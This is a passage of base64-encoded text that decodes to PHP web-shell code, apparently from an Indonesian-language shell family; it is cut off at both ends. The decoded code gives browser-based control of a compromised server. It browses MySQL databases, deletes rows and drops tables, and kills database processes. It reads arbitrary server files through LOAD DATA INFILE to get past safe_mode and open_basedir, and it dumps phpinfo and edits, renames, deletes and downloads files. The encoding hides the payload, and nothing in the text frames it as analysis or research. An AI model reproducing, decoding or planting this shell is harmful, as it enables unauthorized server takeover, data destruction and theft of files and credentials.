Zm9ybT4iOwplY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxuIjsKZWNobyAiPHRhYmxlIGNsYXNzPSd0dWInPjx0cj4iOwplY2hvICI8dGg+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90aD4iOwpmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7CiAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwogIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9CiAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICBlY2hvICI8dGg+IjsKICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQogIGlmIChAJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQogIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICBlY2hvICI8L3RoPiI7Cn0KZWNobyAiPHRoPjxmb250IGNvbG9yPVwiIzAwRkYwMFwiPjxiPmFjdGlvbjwvYj48L2ZvbnQ+PC90aD4iOwplY2hvICI8L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7CiAgZWNobyAiPHRyPiI7CiAgJHcgPSAiIjsKICAkaSA9IDA7CiAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHsKJG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwokdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzsKICB9CiAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyAkdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7IH0KICBlY2hvICI8dGQgYWxpZ249J2NlbnRlcicgc3R5bGU9J3BhZGRpbmc6MHB4Oyc+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOwogICRpID0gMDsKICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgewokdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwppZiAoJHYgPT0gIiIpIHsgJHYgPSAiPGZvbnQgY29sb3I9XCIjMDBGRjAwXCI+TlVMTDwvZm9udD4iOyB9CmVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiRpKys7CiAgfQogIGVjaG8gIjx0ZD4iOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPkRlbGV0ZTwvYT4iOwogIGVjaG8gIiZuYnNwO3wmbmJzcDsiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj5FZGl0PC9hPiAiOwogIGVjaG8gIjwvdGQ+IjsKICBlY2hvICI8L3RyPiI7Cn0KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CmVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIvPiA8c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOwplY2hvICI8L3NlbGVjdD4gPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsKfQogfQogZWxzZSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOwppZiAoISRyZXN1bHQpIHsgZWNobyBteXNxbF9zbWFydGVycm9yKCk7IH0KZWxzZSB7CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0YWJsZSBjbGFzcz0idHViIj4KPHRyPjx0aD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImJveHRibF9hbGwiIHZhbHVlPSIxIj48L3RoPjx0aD5UYWJsZTwvdGg+PHRoPlJvd3M8L3RoPjx0aD5FbmdpbmU8L3RoPjx0aD5DcmVhdGVkPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5TaXplPC90aD48dGg+QWN0aW9uPC90aD48L3RyPic7CiAkaSA9IDA7CiAkdHNpemUgPSAkdHJvd3MgPSAwOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsKJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07CiR0cm93cyArPSAkcm93WyJSb3dzIl07CiRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOwplY2hvJzx0cj4KPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJwYWRkaW5nOjBweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYm94dGJsW10iIHZhbHVlPSInLiRyb3dbIk5hbWUiXS4nIj48L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90Ymw9Jy51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4nIj48Yj4nLiRyb3dbIk5hbWUiXS4nPC9iPjwvYT48L3RkPgo8dGQ+Jy4kcm93WyJSb3dzIl0uJzwvdGQ+PHRkPicuJHJvd1siRW5naW5lIl0uJzwvdGQ+PHRkPicuJHJvd1siQ3JlYXRlX3RpbWUiXS4nPC90ZD48dGQ+Jy4kcm93WyJVcGRhdGVfdGltZSJdLic8L3RkPjx0ZD4nLiRzaXplLic8L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF94PXF1ZXJ5JnNxbF9xdWVyeT0nLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RW1wdHk8L2E+Jm5ic3A7fCZuYnNwOzxhIGhyZWY9IicuJHNxbF9zdXJsLidzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Jy51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RHJvcDwvYT4mbmJzcDt8Jm5ic3A7PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90YmxfeD1pbnNlcnQmc3FsX3RibD0nLiRyb3dbIk5hbWUiXS4nIj5JbnNlcnQ8L2E+PC90ZD4KPC90cj4nOwokaSsrOwogfQogZWNobyAiXHRcdDx0cj5cbiIuCiJcdFx0PHRoPis8L3RoPjx0aD4kaSB0YWJsZShzKTwvdGg+PHRoPiR0cm93czwvdGg+PHRoPiRyb3dbMV08L3RoPjx0aD4kcm93WzEwXTwvdGg+PHRoPiRyb3dbMTFdPC90aD48dGg+Ii52aWV3X3NpemUoJHRzaXplKS4iPC90aD48dGg+PC90aD5cbiI7CmVjaG8nPC90cj4KPC90YWJsZT4KPGRpdiBhbGlnbj0icmlnaHQiPgo8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9InNxbF94Ij4KPG9wdGlvbiB2YWx1ZT0iIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ0Ymxkcm9wIj5Ecm9wPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InRibGVtcHR5Ij5FbXB0eTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGR1bXAiPkR1bXA8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxjaGVjayI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxvcHRpbWl6ZSI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxyZXBhaXIiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGFuYWx5emUiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOwo8L3NlbGVjdD4KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbmZpcm0iPgo8L2Rpdj4KPC9mb3JtPic7CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKfQogfQp9CiB9Cn0KZWxzZSB7CiR4cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7CmlmIChpbl9hcnJheSgkc3FsX3gsJHhzKSkgewplY2hvICc8dGFibGUgY2xhc3M9InRhYiI+Cjx0cj4KPHRkIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7cGFkZGluZzozcHg7Ij48Yj5DcmVhdGUgbmV3IERCOjwvYj4KPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJuZXdkYiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiAgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj4KPC9mb3JtPgo8L3RkPgo8dGQgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjNweDsiPjxiPlZpZXcgRmlsZTo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZ2V0ZmlsZSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSkuJyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKfQppZiAoIWVtcHR5KCRzcWxfeCkpIHsKIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKIGlmICgkc3FsX3ggPT0gIm5ld2RiIikgewplY2hvICI8Yj4iOwppZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiB9CiBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOwplY2hvICI8Y2VudGVyPjxiPlNlcnZlciBzdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+TmFtZTwvYj48L3RoPjx0aD48Yj5WYWx1ZTwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQplY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7Cm15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogfQogaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwplY2hvICI8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxiPk5hbWU8L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KZWNobyAiPC90YWJsZT4iOwpteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIH0KIGlmICgkc3FsX3ggPT0gInByb2Nlc3NlcyIpIHsKaWYgKCFlbXB0eSgka2lsbCkpIHsKICRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsKIGVjaG8gIjxiPlByb2Nlc3MgIyIuJGtpbGwuIiB3YXMga2lsbGVkLjwvYj4iOwp9CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+SUQ8L2I+PC90aD48dGg+PGI+VVNFUjwvYj48L3RoPjx0aD48Yj5IT1NUPC9iPjwvdGg+PHRoPjxiPkRCPC9iPjwvdGg+PHRoPjxiPkNPTU1BTkQ8L2I+PC90aD48dGg+PGI+VElNRTwvYj48L3RoPjx0aD48Yj5TVEFURTwvYj48L3RoPjx0aD48Yj5JTkZPPC9iPjwvdGg+PHRoPjxiPkFjdGlvbjwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9CmVjaG8gIjwvdGFibGU+IjsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiB9CiBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikgewokdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwokc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7CmlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30KaWYgKCRzZWxlY3QpIHsKICRjcmVhdGVkID0gRkFMU0U7CiBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOwogaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiBlbHNlIHsKZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyAkbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7IH0KJGYgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsgJGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpOyB9CmlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7Cm15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOwogfQp9Cm15c3FsX2Ryb3BfZGIoJHRtcGRiKTsKIH0KfQogfQp9CmVjaG8gJzwvdGQ+PC90cj4nOwppZiAoJHNxbF9zb2NrKSB7CiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsKICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSkgeyAkYWZmZWN0ZWQgPSAwOyB9CiAgZWNobyAiXHQ8dHI+PHRoIGNvbHNwYW49Mj5BZmZlY3RlZCByb3dzOiAkYWZmZWN0ZWQ8L3RoPjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPjwvY2VudGVyPic7CiAgfQplY2hvICc8L2Zvcm0+JzsKfQp9Ci8vKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tWyBiYXRhcyBdLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLy8KCgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7IEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCiAgICBAb2Jfc3RhcnQoKTsKICAgIEBldmFsKCJwaHBpbmZvKCk7Iik7CiAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsgICAgCiAgICAkYXdhbCA9IHN0cnBvcygkYnVmZiwiPGJvZHk+IikrNjsKICAgICRha2hpciA9IHN0cnBvcygkYnVmZiwiPC9ib2R5PiIpOwogICAgZWNobyAiPGRpdiBjbGFzcz1cInBocGluZm9cIj4iLnN1YnN0cigkYnVmZiwkYXdhbCwkYWtoaXItJGF3YWwpLiI8L2Rpdj4iOwp9CmVsc2VpZihpc3NldCgkX0dFVFsndmlldyddKSAmJiAoJF9HRVRbJ3ZpZXcnXSAhPSAiIikpewogIGlmKGlzX2ZpbGUoJF9HRVRbJ3ZpZXcnXSkpeyAKICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gbWFnaWNib29tKCRfR0VUWyd2aWV3J10pOwogICAgaWYoISR3aW4gJiYgJHBvc2l4KXsKICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsKICAgIH0KICAgIGVsc2UgewogICAgICAgICRvd25lciA9ICR1c2VyOwogICAgfQogICAgJGZpbG4gPSBiYXNlbmFtZSgkZmlsZSk7CiAgICBlY2hvICI8dGFibGUgc3R5bGU9XCJtYXJnaW46NnB4IDAgMCAycHg7bGluZS1oZWlnaHQ6MjBweDtcIj4KICAgIDx0cj48dGQ+RmlsZW5hbWU8L3RkPjx0ZD48c3BhbiBpZD1cIiIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rXCI+Ii4kZmlsZS4iPC9zcGFuPgogICAgPGZvcm0gYWN0aW9uPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9JGZpbGVcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxuLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsbi4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7XCIgLz4KICAgIDwvZm9ybT4KICAgIDwvdGQ+PC90cj4KICAgIDx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIudWt1cmFuKCRmaWxlKS4iPC90ZD48L3RyPgogICAgPHRyPjx0ZD5QZXJtaXNzaW9uPC90ZD48dGQ+Ii5nZXRfcGVybXMoJGZpbGUpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVjdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkFjdGlvbnM8L3RkPjx0ZD48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0kZmlsZVwiPkVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxuKS4iX2Zvcm0nKTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RlbGV0ZT0kZmlsZVwiPkRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGw9JGZpbGVcIj5Eb3dubG9hZDwvYT4mbmJzcDsoPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZVwiPkdaaXA8L2E+KTwvdGQ+PC90cj4KICAgIDx0cj48dGQ+VmlldzwvdGQ+PHRkPjxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiJcIj5UZXh0PC9hPiB8IDxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiImYW1wO3R5cGU9Y29kZVwiPkNvZGU8L2E+IHwgPGEgaHJlZj1cIj95PSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGZpbGUuIiZhbXA7dHlwZT1pbWFnZVwiPkltYWdlPC9hPjwvdGQ+PC90cj4KICAgIDwvdGFibGU+CiAgICAiOwogICAgaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXsKICAgICAgICBlY2hvICI8ZGl2IHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjhweDtcIj48aW1nIHNyYz1cIj95PSIuJHB3ZC4iJmFtcDtp